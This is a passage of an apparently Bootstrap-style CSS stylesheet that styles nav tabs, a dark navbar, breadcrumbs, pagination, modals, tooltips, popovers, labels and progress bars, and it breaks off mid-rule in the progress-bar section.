.dropdown-toggle .caret,\n.nav-pills .dropdown-toggle .caret {\n    margin-top: 6px;\n    border-top-color: #0088cc;\n    border-bottom-color: #0088cc;\n}\n\n.nav-tabs .dropdown-toggle:hover .caret,\n.nav-pills .dropdown-toggle:hover .caret {\n    border-top-color: #005580;\n    border-bottom-color: #005580;\n}\n\n.nav-tabs .active .dropdown-toggle .caret,\n.nav-pills .active .dropdown-toggle .caret {\n    border-top-color: #333333;\n    border-bottom-color: #333333;\n}\n\n.nav > .dropdown.active > a:hover {\n    color: #000000;\n    cursor: pointer;\n}\n\n.nav-tabs .open .dropdown-toggle,\n.nav-pills .open .dropdown-toggle,\n.nav > li.dropdown.open.active > a:hover {\n    color: #ffffff;\n    background-color: #999999;\n    border-color: #999999;\n}\n\n.nav li.dropdown.open .caret,\n.nav li.dropdown.open.active .caret,\n.nav li.dropdown.open a:hover .caret {\n    border-top-color: #ffffff;\n    border-bottom-color: #ffffff;\n    opacity: 1;\n    filter: alpha(opacity=100);\n}\n\n.tabs-stacked .open > a:hover {\n    border-color: #999999;\n}\n\n.tabbable {\n    *zoom: 1;\n}\n\n.tabbable:before,\n.tabbable:after {\n    display: table;\n    content: \"\";\n}\n\n.tabbable:after {\n    clear: both;\n}\n\n.tab-content {\n    overflow: auto;\n}\n\n.tabs-below > .nav-tabs,\n.tabs-right > .nav-tabs,\n.tabs-left > .nav-tabs {\n    border-bottom: 0;\n}\n\n.tab-content > .tab-pane,\n.pill-content > .pill-pane {\n    display: none;\n}\n\n.tab-content > .active,\n.pill-content > .active {\n    display: block;\n}\n\n.tabs-below > .nav-tabs {\n    border-top: 1px solid #ddd;\n}\n\n.tabs-below > .nav-tabs > li {\n    margin-top: -1px;\n    margin-bottom: 0;\n}\n\n.tabs-below > .nav-tabs > li > a {\n    -webkit-border-radius: 0 0 4px 4px;\n    -moz-border-radius: 0 0 4px 4px;\n    border-radius: 0 0 4px 4px;\n}\n\n.tabs-below > .nav-tabs > li > a:hover {\n    border-top-color: #ddd;\n    border-bottom-color: transparent;\n}\n\n.tabs-below > .nav-tabs > .active > a,\n.tabs-below > .nav-tabs > .active > a:hover {\n    border-color: transparent #ddd #ddd #ddd;\n}\n\n.tabs-left > .nav-tabs > li,\n.tabs-right > .nav-tabs > li {\n    float: none;\n}\n\n.tabs-left > .nav-tabs > li > a,\n.tabs-right > .nav-tabs > li > a {\n    min-width: 74px;\n    margin-right: 0;\n    margin-bottom: 3px;\n}\n\n.tabs-left > .nav-tabs {\n    float: left;\n    margin-right: 19px;\n    border-right: 1px solid #ddd;\n}\n\n.tabs-left > .nav-tabs > li > a {\n    margin-right: -1px;\n    -webkit-border-radius: 4px 0 0 4px;\n    -moz-border-radius: 4px 0 0 4px;\n    border-radius: 4px 0 0 4px;\n}\n\n.tabs-left > .nav-tabs > li > a:hover {\n    border-color: #eeeeee #dddddd #eeeeee #eeeeee;\n}\n\n.tabs-left > .nav-tabs .active > a,\n.tabs-left > .nav-tabs .active > a:hover {\n    border-color: #ddd transparent #ddd #ddd;\n    *border-right-color: #ffffff;\n}\n\n.tabs-right > .nav-tabs {\n    float: right;\n    margin-left: 19px;\n    border-left: 1px solid #ddd;\n}\n\n.tabs-right > .nav-tabs > li > a {\n    margin-left: -1px;\n    -webkit-border-radius: 0 4px 4px 0;\n    -moz-border-radius: 0 4px 4px 0;\n    border-radius: 0 4px 4px 0;\n}\n\n.tabs-right > .nav-tabs > li > a:hover {\n    border-color: #eeeeee #eeeeee #eeeeee #dddddd;\n}\n\n.tabs-right > .nav-tabs .active > a,\n.tabs-right > .nav-tabs .active > a:hover {\n    border-color: #ddd #ddd #ddd transparent;\n    *border-left-color: #ffffff;\n}\n\n.navbar {\n    *position: relative;\n    *z-index: 2;\n    margin-bottom: 18px;\n    overflow: visible;\n}\n\n.navbar-inner {\n    min-height: 40px;\n    padding-right: 20px;\n    padding-left: 20px;\n    background-color: #2c2c2c;\n    background-image: -moz-linear-gradient(top, #333333, #222222);\n    background-image: -ms-linear-gradient(top, #333333, #222222);\n    background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#333333), to(#222222));\n    background-image: -webkit-linear-gradient(top, #333333, #222222);\n    background-image: -o-linear-gradient(top, #333333, #222222);\n    background-image: linear-gradient(top, #333333, #222222);\n    background-repeat: repeat-x;\n    -webkit-border-radius: 4px;\n    -moz-border-radius: 4px;\n    border-radius: 4px;\n    filter: progid:dximagetransform.microsoft.gradient(startColorstr='#333333', endColorstr='#222222', GradientType=0);\n    -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.25), inset 0 -1px 0 rgba(0, 0, 0, 0.1);\n    -moz-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.25), inset 0 -1px 0 rgba(0, 0, 0, 0.1);\n    box-shadow: 0 1px 3px rgba(0, 0, 0, 0.25), inset 0 -1px 0 rgba(0, 0, 0, 0.1);\n}\n\n.navbar .container {\n    width: auto;\n}\n\n.nav-collapse.collapse {\n    height: auto;\n}\n\n.navbar {\n    color: #999999;\n}\n\n.navbar .brand:hover {\n    text-decoration: none;\n}\n\n.navbar .brand {\n    display: block;\n    float: left;\n    padding: 8px 20px 12px;\n    margin-left: -20px;\n    font-size: 20px;\n    font-weight: 200;\n    line-height: 1;\n    color: #999999;\n}\n\n.navbar .navbar-text {\n    margin-bottom: 0;\n    line-height: 40px;\n}\n\n.navbar .navbar-link {\n    color: #999999;\n}\n\n.navbar .navbar-link:hover {\n    color: #ffffff;\n}\n\n.navbar .btn,\n.navbar .btn-group {\n    margin-top: 5px;\n}\n\n.navbar .btn-group .btn {\n    margin: 0;\n}\n\n.navbar-form {\n    margin-bottom: 0;\n    *zoom: 1;\n}\n\n.navbar-form:before,\n.navbar-form:after {\n    display: table;\n    content: \"\";\n}\n\n.navbar-form:after {\n    clear: both;\n}\n\n.navbar-form input,\n.navbar-form select,\n.navbar-form .radio,\n.navbar-form .checkbox {\n    margin-top: 5px;\n}\n\n.navbar-form input,\n.navbar-form select {\n    display: inline-block;\n    margin-bottom: 0;\n}\n\n.navbar-form input[type=\"image\"],\n.navbar-form input[type=\"checkbox\"],\n.navbar-form input[type=\"radio\"] {\n    margin-top: 3px;\n}\n\n.navbar-form .input-append,\n.navbar-form .input-prepend {\n    margin-top: 6px;\n    white-space: nowrap;\n}\n\n.navbar-form .input-append input,\n.navbar-form .input-prepend input {\n    margin-top: 0;\n}\n\n.navbar-search {\n    position: relative;\n    float: left;\n    margin-top: 6px;\n    margin-bottom: 0;\n}\n\n.navbar-search .search-query {\n    padding: 4px 9px;\n    font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n    font-size: 13px;\n    font-weight: normal;\n    line-height: 1;\n    color: #ffffff;\n    background-color: #626262;\n    border: 1px solid #151515;\n    -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1), 0 1px 0 rgba(255, 255, 255, 0.15);\n    -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1), 0 1px 0 rgba(255, 255, 255, 0.15);\n    box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1), 0 1px 0 rgba(255, 255, 255, 0.15);\n    -webkit-transition: none;\n    -moz-transition: none;\n    -ms-transition: none;\n    -o-transition: none;\n    transition: none;\n}\n\n.navbar-search .search-query:-moz-placeholder {\n    color: #cccccc;\n}\n\n.navbar-search .search-query:-ms-input-placeholder {\n    color: #cccccc;\n}\n\n.navbar-search .search-query::-webkit-input-placeholder {\n    color: #cccccc;\n}\n\n.navbar-search .search-query:focus,\n.navbar-search .search-query.focused {\n    padding: 5px 10px;\n    color: #333333;\n    text-shadow: 0 1px 0 #ffffff;\n    background-color: #ffffff;\n    border: 0;\n    outline: 0;\n    -webkit-box-shadow: 0 0 3px rgba(0, 0, 0, 0.15);\n    -moz-box-shadow: 0 0 3px rgba(0, 0, 0, 0.15);\n    box-shadow: 0 0 3px rgba(0, 0, 0, 0.15);\n}\n\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n    position: fixed;\n    right: 0;\n    left: 0;\n    z-index: 1030;\n    margin-bottom: 0;\n}\n\n.navbar-fixed-top .navbar-inner,\n.navbar-fixed-bottom .navbar-inner {\n    padding-right: 0;\n    padding-left: 0;\n    -webkit-border-radius: 0;\n    -moz-border-radius: 0;\n    border-radius: 0;\n}\n\n.navbar-fixed-top .container,\n.navbar-fixed-bottom .container {\n    width: 940px;\n}\n\n.navbar-fixed-top {\n    top: 0;\n}\n\n.navbar-fixed-bottom {\n    bottom: 0;\n}\n\n.navbar .nav {\n    position: relative;\n    left: 0;\n    display: block;\n    float: left;\n    margin: 0 10px 0 0;\n}\n\n.navbar .nav.pull-right {\n    float: right;\n}\n\n.navbar .nav > li {\n    display: block;\n    float: left;\n}\n\n.navbar .nav > li > a {\n    float: none;\n    padding: 9px 10px 11px;\n    line-height: 19px;\n    color: #999999;\n    text-decoration: none;\n    text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n}\n\n.navbar .btn {\n    display: inline-block;\n    padding: 4px 10px 4px;\n    margin: 5px 5px 6px;\n    line-height: 18px;\n}\n\n.navbar .btn-group {\n    padding: 5px 5px 6px;\n    margin: 0;\n}\n\n.navbar .nav > li > a:hover {\n    color: #ffffff;\n    text-decoration: none;\n    background-color: transparent;\n}\n\n.navbar .nav .active > a,\n.navbar .nav .active > a:hover {\n    color: #ffffff;\n    text-decoration: none;\n    background-color: #222222;\n}\n\n.navbar .divider-vertical {\n    width: 1px;\n    height: 40px;\n    margin: 0 9px;\n    overflow: hidden;\n    background-color: #222222;\n    border-right: 1px solid #333333;\n}\n\n.navbar .nav.pull-right {\n    margin-right: 0;\n    margin-left: 10px;\n}\n\n.navbar .btn-navbar {\n    display: none;\n    float: right;\n    padding: 7px 10px;\n    margin-right: 5px;\n    margin-left: 5px;\n    background-color: #2c2c2c;\n    *background-color: #222222;\n    background-image: -ms-linear-gradient(top, #333333, #222222);\n    background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#333333), to(#222222));\n    background-image: -webkit-linear-gradient(top, #333333, #222222);\n    background-image: -o-linear-gradient(top, #333333, #222222);\n    background-image: linear-gradient(top, #333333, #222222);\n    background-image: -moz-linear-gradient(top, #333333, #222222);\n    background-repeat: repeat-x;\n    border-color: #222222 #222222 #000000;\n    border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n    filter: progid:dximagetransform.microsoft.gradient(startColorstr='#333333', endColorstr='#222222', GradientType=0);\n    filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n    -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.075);\n    -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.075);\n    box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.075);\n}\n\n.navbar .btn-navbar:hover,\n.navbar .btn-navbar:active,\n.navbar .btn-navbar.active,\n.navbar .btn-navbar.disabled,\n.navbar .btn-navbar[disabled] {\n    background-color: #222222;\n    *background-color: #151515;\n}\n\n.navbar .btn-navbar:active,\n.navbar .btn-navbar.active {\n    background-color: #080808 \\9;\n}\n\n.navbar .btn-navbar .icon-bar {\n    display: block;\n    width: 18px;\n    height: 2px;\n    background-color: #f5f5f5;\n    -webkit-border-radius: 1px;\n    -moz-border-radius: 1px;\n    border-radius: 1px;\n    -webkit-box-shadow: 0 1px 0 rgba(0, 0, 0, 0.25);\n    -moz-box-shadow: 0 1px 0 rgba(0, 0, 0, 0.25);\n    box-shadow: 0 1px 0 rgba(0, 0, 0, 0.25);\n}\n\n.btn-navbar .icon-bar + .icon-bar {\n    margin-top: 3px;\n}\n\n.navbar .dropdown-menu:before {\n    position: absolute;\n    top: -7px;\n    left: 9px;\n    display: inline-block;\n    border-right: 7px solid transparent;\n    border-bottom: 7px solid #ccc;\n    border-left: 7px solid transparent;\n    border-bottom-color: rgba(0, 0, 0, 0.2);\n    content: '';\n}\n\n.navbar .dropdown-menu:after {\n    position: absolute;\n    top: -6px;\n    left: 10px;\n    display: inline-block;\n    border-right: 6px solid transparent;\n    border-bottom: 6px solid #ffffff;\n    border-left: 6px solid transparent;\n    content: '';\n}\n\n.navbar-fixed-bottom .dropdown-menu:before {\n    top: auto;\n    bottom: -7px;\n    border-top: 7px solid #ccc;\n    border-bottom: 0;\n    border-top-color: rgba(0, 0, 0, 0.2);\n}\n\n.navbar-fixed-bottom .dropdown-menu:after {\n    top: auto;\n    bottom: -6px;\n    border-top: 6px solid #ffffff;\n    border-bottom: 0;\n}\n\n.navbar .nav li.dropdown .dropdown-toggle .caret,\n.navbar .nav li.dropdown.open .caret {\n    border-top-color: #ffffff;\n    border-bottom-color: #ffffff;\n}\n\n.navbar .nav li.dropdown.active .caret {\n    opacity: 1;\n    filter: alpha(opacity=100);\n}\n\n.navbar .nav li.dropdown.open > .dropdown-toggle,\n.navbar .nav li.dropdown.active > .dropdown-toggle,\n.navbar .nav li.dropdown.open.active > .dropdown-toggle {\n    background-color: transparent;\n}\n\n.navbar .nav li.dropdown.active > .dropdown-toggle:hover {\n    color: #ffffff;\n}\n\n.navbar .pull-right .dropdown-menu,\n.navbar .dropdown-menu.pull-right {\n    right: 0;\n    left: auto;\n}\n\n.navbar .pull-right .dropdown-menu:before,\n.navbar .dropdown-menu.pull-right:before {\n    right: 12px;\n    left: auto;\n}\n\n.navbar .pull-right .dropdown-menu:after,\n.navbar .dropdown-menu.pull-right:after {\n    right: 13px;\n    left: auto;\n}\n\n.breadcrumb {\n    padding: 7px 14px;\n    margin: 0 0 18px;\n    list-style: none;\n    background-color: #fbfbfb;\n    background-image: -moz-linear-gradient(top, #ffffff, #f5f5f5);\n    background-image: -ms-linear-gradient(top, #ffffff, #f5f5f5);\n    background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#f5f5f5));\n    background-image: -webkit-linear-gradient(top, #ffffff, #f5f5f5);\n    background-image: -o-linear-gradient(top, #ffffff, #f5f5f5);\n    background-image: linear-gradient(top, #ffffff, #f5f5f5);\n    background-repeat: repeat-x;\n    border: 1px solid #ddd;\n    -webkit-border-radius: 3px;\n    -moz-border-radius: 3px;\n    border-radius: 3px;\n    filter: progid:dximagetransform.microsoft.gradient(startColorstr='#ffffff', endColorstr='#f5f5f5', GradientType=0);\n    -webkit-box-shadow: inset 0 1px 0 #ffffff;\n    -moz-box-shadow: inset 0 1px 0 #ffffff;\n    box-shadow: inset 0 1px 0 #ffffff;\n}\n\n.breadcrumb li {\n    display: inline-block;\n    *display: inline;\n    text-shadow: 0 1px 0 #ffffff;\n    *zoom: 1;\n}\n\n.breadcrumb .divider {\n    padding: 0 5px;\n    color: #999999;\n}\n\n.breadcrumb .active a {\n    color: #333333;\n}\n\n.pagination {\n    height: 36px;\n    margin: 18px 0;\n}\n\n.pagination ul {\n    display: inline-block;\n    *display: inline;\n    margin-bottom: 0;\n    margin-left: 0;\n    -webkit-border-radius: 3px;\n    -moz-border-radius: 3px;\n    border-radius: 3px;\n    *zoom: 1;\n    -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);\n    -moz-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);\n    box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n\n.pagination li {\n    display: inline;\n}\n\n.pagination a {\n    float: left;\n    padding: 0 14px;\n    line-height: 34px;\n    text-decoration: none;\n    border: 1px solid #ddd;\n    border-left-width: 0;\n}\n\n.pagination a:hover,\n.pagination .active a {\n    background-color: #f5f5f5;\n}\n\n.pagination .active a {\n    color: #999999;\n    cursor: default;\n}\n\n.pagination .disabled span,\n.pagination .disabled a,\n.pagination .disabled a:hover {\n    color: #999999;\n    cursor: default;\n    background-color: transparent;\n}\n\n.pagination li:first-child a {\n    border-left-width: 1px;\n    -webkit-border-radius: 3px 0 0 3px;\n    -moz-border-radius: 3px 0 0 3px;\n    border-radius: 3px 0 0 3px;\n}\n\n.pagination li:last-child a {\n    -webkit-border-radius: 0 3px 3px 0;\n    -moz-border-radius: 0 3px 3px 0;\n    border-radius: 0 3px 3px 0;\n}\n\n.pagination-centered {\n    text-align: center;\n}\n\n.pagination-right {\n    text-align: right;\n}\n\n.pager {\n    margin-bottom: 18px;\n    margin-left: 0;\n    text-align: center;\n    list-style: none;\n    *zoom: 1;\n}\n\n.pager:before,\n.pager:after {\n    display: table;\n    content: \"\";\n}\n\n.pager:after {\n    clear: both;\n}\n\n.pager li {\n    display: inline;\n}\n\n.pager a {\n    display: inline-block;\n    padding: 5px 14px;\n    background-color: #fff;\n    border: 1px solid #ddd;\n    -webkit-border-radius: 15px;\n    -moz-border-radius: 15px;\n    border-radius: 15px;\n}\n\n.pager a:hover {\n    text-decoration: none;\n    background-color: #f5f5f5;\n}\n\n.pager .next a {\n    float: right;\n}\n\n.pager .previous a {\n    float: left;\n}\n\n.pager .disabled a,\n.pager .disabled a:hover {\n    color: #999999;\n    cursor: default;\n    background-color: #fff;\n}\n\n.modal-open .dropdown-menu {\n    z-index: 2050;\n}\n\n.modal-open .dropdown.open {\n    *z-index: 2050;\n}\n\n.modal-open .popover {\n    z-index: 2060;\n}\n\n.modal-open .tooltip {\n    z-index: 2070;\n}\n\n.modal-backdrop {\n    position: fixed;\n    top: 0;\n    right: 0;\n    bottom: 0;\n    left: 0;\n    z-index: 1040;\n    background-color: #000000;\n}\n\n.modal-backdrop.fade {\n    opacity: 0;\n}\n\n.modal-backdrop,\n.modal-backdrop.fade.in {\n    opacity: 0.8;\n    filter: alpha(opacity=80);\n}\n\n.modal {\n    position: fixed;\n    top: 50%;\n    left: 50%;\n    z-index: 1050;\n    width: 560px;\n    margin: -250px 0 0 -280px;\n    overflow: auto;\n    background-color: #ffffff;\n    border: 1px solid #999;\n    border: 1px solid rgba(0, 0, 0, 0.3);\n    *border: 1px solid #999;\n    -webkit-border-radius: 6px;\n    -moz-border-radius: 6px;\n    border-radius: 6px;\n    -webkit-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n    -moz-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n    box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n    -webkit-background-clip: padding-box;\n    -moz-background-clip: padding-box;\n    background-clip: padding-box;\n}\n\n.modal.fade {\n    top: -25%;\n    -webkit-transition: opacity 0.3s linear, top 0.3s ease-out;\n    -moz-transition: opacity 0.3s linear, top 0.3s ease-out;\n    -ms-transition: opacity 0.3s linear, top 0.3s ease-out;\n    -o-transition: opacity 0.3s linear, top 0.3s ease-out;\n    transition: opacity 0.3s linear, top 0.3s ease-out;\n}\n\n.modal.fade.in {\n    top: 50%;\n}\n\n.modal-header {\n    padding: 9px 15px;\n    border-bottom: 1px solid #eee;\n}\n\n.modal-header .close {\n    margin-top: 2px;\n}\n\n.modal-body {\n    max-height: 400px;\n    padding: 15px;\n    overflow-y: auto;\n}\n\n.modal-form {\n    margin-bottom: 0;\n}\n\n.modal-footer {\n    padding: 14px 15px 15px;\n    margin-bottom: 0;\n    text-align: right;\n    background-color: #f5f5f5;\n    border-top: 1px solid #ddd;\n    -webkit-border-radius: 0 0 6px 6px;\n    -moz-border-radius: 0 0 6px 6px;\n    border-radius: 0 0 6px 6px;\n    *zoom: 1;\n    -webkit-box-shadow: inset 0 1px 0 #ffffff;\n    -moz-box-shadow: inset 0 1px 0 #ffffff;\n    box-shadow: inset 0 1px 0 #ffffff;\n}\n\n.modal-footer:before,\n.modal-footer:after {\n    display: table;\n    content: \"\";\n}\n\n.modal-footer:after {\n    clear: both;\n}\n\n.modal-footer .btn + .btn {\n    margin-bottom: 0;\n    margin-left: 5px;\n}\n\n.modal-footer .btn-group .btn + .btn {\n    margin-left: -1px;\n}\n\n.tooltip {\n    position: absolute;\n    z-index: 1020;\n    display: block;\n    padding: 5px;\n    font-size: 11px;\n    opacity: 0;\n    filter: alpha(opacity=0);\n    visibility: visible;\n}\n\n.tooltip.in {\n    opacity: 0.8;\n    filter: alpha(opacity=80);\n}\n\n.tooltip.top {\n    margin-top: -2px;\n}\n\n.tooltip.right {\n    margin-left: 2px;\n}\n\n.tooltip.bottom {\n    margin-top: 2px;\n}\n\n.tooltip.left {\n    margin-left: -2px;\n}\n\n.tooltip.top .tooltip-arrow {\n    bottom: 0;\n    left: 50%;\n    margin-left: -5px;\n    border-top: 5px solid #000000;\n    border-right: 5px solid transparent;\n    border-left: 5px solid transparent;\n}\n\n.tooltip.left .tooltip-arrow {\n    top: 50%;\n    right: 0;\n    margin-top: -5px;\n    border-top: 5px solid transparent;\n    border-bottom: 5px solid transparent;\n    border-left: 5px solid #000000;\n}\n\n.tooltip.bottom .tooltip-arrow {\n    top: 0;\n    left: 50%;\n    margin-left: -5px;\n    border-right: 5px solid transparent;\n    border-bottom: 5px solid #000000;\n    border-left: 5px solid transparent;\n}\n\n.tooltip.right .tooltip-arrow {\n    top: 50%;\n    left: 0;\n    margin-top: -5px;\n    border-top: 5px solid transparent;\n    border-right: 5px solid #000000;\n    border-bottom: 5px solid transparent;\n}\n\n.tooltip-inner {\n    max-width: 200px;\n    padding: 3px 8px;\n    color: #ffffff;\n    text-align: center;\n    text-decoration: none;\n    background-color: #000000;\n    -webkit-border-radius: 4px;\n    -moz-border-radius: 4px;\n    border-radius: 4px;\n}\n\n.tooltip-arrow {\n    position: absolute;\n    width: 0;\n    height: 0;\n}\n\n.popover {\n    position: absolute;\n    top: 0;\n    left: 0;\n    z-index: 1010;\n    display: none;\n    padding: 5px;\n}\n\n.popover.top {\n    margin-top: -5px;\n}\n\n.popover.right {\n    margin-left: 5px;\n}\n\n.popover.bottom {\n    margin-top: 5px;\n}\n\n.popover.left {\n    margin-left: -5px;\n}\n\n.popover.top .arrow {\n    bottom: 0;\n    left: 50%;\n    margin-left: -5px;\n    border-top: 5px solid #000000;\n    border-right: 5px solid transparent;\n    border-left: 5px solid transparent;\n}\n\n.popover.right .arrow {\n    top: 50%;\n    left: 0;\n    margin-top: -5px;\n    border-top: 5px solid transparent;\n    border-right: 5px solid #000000;\n    border-bottom: 5px solid transparent;\n}\n\n.popover.bottom .arrow {\n    top: 0;\n    left: 50%;\n    margin-left: -5px;\n    border-right: 5px solid transparent;\n    border-bottom: 5px solid #000000;\n    border-left: 5px solid transparent;\n}\n\n.popover.left .arrow {\n    top: 50%;\n    right: 0;\n    margin-top: -5px;\n    border-top: 5px solid transparent;\n    border-bottom: 5px solid transparent;\n    border-left: 5px solid #000000;\n}\n\n.popover .arrow {\n    position: absolute;\n    width: 0;\n    height: 0;\n}\n\n.popover-inner {\n    width: 280px;\n    padding: 3px;\n    overflow: hidden;\n    background: #000000;\n    background: rgba(0, 0, 0, 0.8);\n    -webkit-border-radius: 6px;\n    -moz-border-radius: 6px;\n    border-radius: 6px;\n    -webkit-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n    -moz-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n    box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n}\n\n.popover-title {\n    padding: 9px 15px;\n    line-height: 1;\n    background-color: #f5f5f5;\n    border-bottom: 1px solid #eee;\n    -webkit-border-radius: 3px 3px 0 0;\n    -moz-border-radius: 3px 3px 0 0;\n    border-radius: 3px 3px 0 0;\n}\n\n.popover-content {\n    padding: 14px;\n    background-color: #ffffff;\n    -webkit-border-radius: 0 0 3px 3px;\n    -moz-border-radius: 0 0 3px 3px;\n    border-radius: 0 0 3px 3px;\n    -webkit-background-clip: padding-box;\n    -moz-background-clip: padding-box;\n    background-clip: padding-box;\n}\n\n.popover-content p,\n.popover-content ul,\n.popover-content ol {\n    margin-bottom: 0;\n}\n\n.thumbnails {\n    margin-left: -20px;\n    list-style: none;\n    *zoom: 1;\n}\n\n.thumbnails:before,\n.thumbnails:after {\n    display: table;\n    content: \"\";\n}\n\n.thumbnails:after {\n    clear: both;\n}\n\n.row-fluid .thumbnails {\n    margin-left: 0;\n}\n\n.thumbnails > li {\n    float: left;\n    margin-bottom: 18px;\n    margin-left: 20px;\n}\n\n.thumbnail {\n    display: block;\n    padding: 4px;\n    line-height: 1;\n    border: 1px solid #ddd;\n    -webkit-border-radius: 4px;\n    -moz-border-radius: 4px;\n    border-radius: 4px;\n    -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.075);\n    -moz-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.075);\n    box-shadow: 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n\na.thumbnail:hover {\n    border-color: #0088cc;\n    -webkit-box-shadow: 0 1px 4px rgba(0, 105, 214, 0.25);\n    -moz-box-shadow: 0 1px 4px rgba(0, 105, 214, 0.25);\n    box-shadow: 0 1px 4px rgba(0, 105, 214, 0.25);\n}\n\n.thumbnail > img {\n    display: block;\n    max-width: 100%;\n    margin-right: auto;\n    margin-left: auto;\n}\n\n.thumbnail .caption {\n    padding: 9px;\n}\n\n.label,\n.badge {\n    font-size: 10.998px;\n    font-weight: bold;\n    line-height: 14px;\n    color: #ffffff;\n    text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n    white-space: nowrap;\n    vertical-align: baseline;\n    background-color: #999999;\n}\n\n.label {\n    padding: 1px 4px 2px;\n    -webkit-border-radius: 3px;\n    -moz-border-radius: 3px;\n    border-radius: 3px;\n}\n\n.badge {\n    padding: 1px 9px 2px;\n    -webkit-border-radius: 9px;\n    -moz-border-radius: 9px;\n    border-radius: 9px;\n}\n\na.label:hover,\na.badge:hover {\n    color: #ffffff;\n    text-decoration: none;\n    cursor: pointer;\n}\n\n.label-important,\n.badge-important {\n    background-color: #b94a48;\n}\n\n.label-important[href],\n.badge-important[href] {\n    background-color: #953b39;\n}\n\n.label-warning,\n.badge-warning {\n    background-color: #f89406;\n}\n\n.label-warning[href],\n.badge-warning[href] {\n    background-color: #c67605;\n}\n\n.label-success,\n.badge-success {\n    background-color: #468847;\n}\n\n.label-success[href],\n.badge-success[href] {\n    background-color: #356635;\n}\n\n.label-info,\n.badge-info {\n    background-color: #3a87ad;\n}\n\n.label-info[href],\n.badge-info[href] {\n    background-color: #2d6987;\n}\n\n.label-inverse,\n.badge-inverse {\n    background-color: #333333;\n}\n\n.label-inverse[href],\n.badge-inverse[href] {\n    background-color: #1a1a1a;\n}\n\n@-webkit-keyframes progress-bar-stripes {\n    from {\n        background-position: 40px 0;\n    }\n    to {\n        background-position: 0 0;\n    }\n}\n\n@-moz-keyframes progress-bar-stripes {\n    from {\n        background-position: 40px 0;\n    }\n    to {\n        background-position: 0 0;\n    }\n}\n\n@-ms-keyframes progress-bar-stripes {\n    from {\n        background-position: 40px 0;\n    }\n    to {\n        background-position: 0 0;\n    }\n}\n\n@-o-keyframes progress-bar-stripes {\n    from {\n        background-position: 0 0;\n    }\n    to {\n        background-position: 40px 0;\n    }\n}\n\n@keyframes progress-bar-stripes {\n    from {\n        background-position: 40px 0;\n    }\n    to {\n        background-position: 0 0;\n    }\n}\n\n.progress {\n    height: 18px;\n    margin-bottom: 18px;\n    overflow: hidden;\n    background-color: #f7f7f7;\n    background-image: -moz-linear-gradient(top, #f5f5f5, #f9f9f9);\n    background-image: -ms-linear-gradient(top, #f5f5f5, #f9f9f9);\n    background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f5f5f5), to(#f9f9f9));\n    background-image: -webkit-linear-gradient(top, #f5f5f5, #f9f9f9);\n    background-image: -o-linear-gradient(top, #f5f5f5, #f9f9f9);\n    background-image: linear-gradient(top, #f5f5f5, #f9f9f9);\n    background-repeat: repeat-x;\n    -webkit-border-radius: 4px;\n    -moz-border-radius: 4px;\n    border-radius: 4px;\n    filter: progid:dximagetransform.microsoft.gradient(startColorstr='#f5f5f5', endColorstr='#f9f9f9', GradientType=0);\n    -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n    -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n    box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n}\n\n.progress .bar {\n    width: 0;\n    height: 18px;\n    font-size: 12px;\n    color: #ffffff;\n    text-align: center;\n    text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n    background-color: #0e90d2;\n    background-image: -moz-linear-gradient(top, #149bdf, #0480be);\n    background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#149bdf), to(#0480be));\n    background-image: -webkit-linear-gradient(top, #149bdf, #0480be);\n    background-image: -o-linear-gradient(top, #149bdf, #0480be);\n    background-image: linear-gradient(top, #149bdf, #0480be);\n    background-image: -ms-linear-gradient(top, #149bdf, #0480be);\n    background-repeat: repeat-x;\n    filter: progid:dximagetransform.microsoft.gradient(startColorstr='#149bdf', endColorstr='#0480be', GradientType=0);\n    -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n    -moz-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n    box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n    -webkit-box-sizing: border-box;\n    -moz-box-sizing: border-box;\n    -ms-box-sizing: border-box;\n    box-sizing: border-box;\n    -webkit-transition: width 0.6s ease;\n    -moz-transition: width 0.6s ease;\n    -ms-transition: width 0.6s ease;\n    -o-transition: width 0.6s ease;\n    transition: width 0.6s ease;\n}\n\n.progress-striped .bar {\n    background-color: #149bdf;\n    background-image: -o-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, 